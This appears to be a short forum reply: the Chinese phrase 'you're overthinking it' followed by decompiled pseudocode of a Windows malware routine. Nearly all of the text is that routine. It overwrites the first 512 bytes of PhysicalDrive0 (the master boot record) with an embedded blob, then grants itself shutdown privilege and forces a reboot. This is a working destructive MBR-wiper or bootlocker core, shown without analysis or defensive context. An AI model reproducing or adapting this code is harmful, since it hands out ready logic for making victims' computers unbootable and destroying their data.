你想多了。
int start()
{
HANDLE FileA; // esi
HANDLE CurrentProcess; // eax
DWORD NumberOfBytesWritten; // [esp+4h] [ebp-18h] BYREF
struct _TOKEN_PRIVILEGES NewState; // [esp+8h] [ebp-14h] BYREF
sub_4010E0();
FileA = CreateFileA("\\\\.\\PhysicalDrive0", 0xC0000000, 3u, 0, 3u, 0, 0);
SetFilePointer(FileA, 0, 0, 0);
WriteFile(FileA, &unk_403008, 0x200u, &NumberOfBytesWritten, 0);
CloseHandle(FileA);
CurrentProcess = GetCurrentProcess();
OpenProcessToken(CurrentProcess, 0x28u, (PHANDLE)&NumberOfBytesWritten);
LookupPrivilegeValueA(0, "SeShutdownPrivilege", &NewState.Privileges[0].Luid);
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Attributes = 2;
AdjustTokenPrivileges((HANDLE)NumberOfBytesWritten, 0, &NewState, 0, 0, 0);
ExitWindowsEx(6u, 0x10007u);
return 0;
} |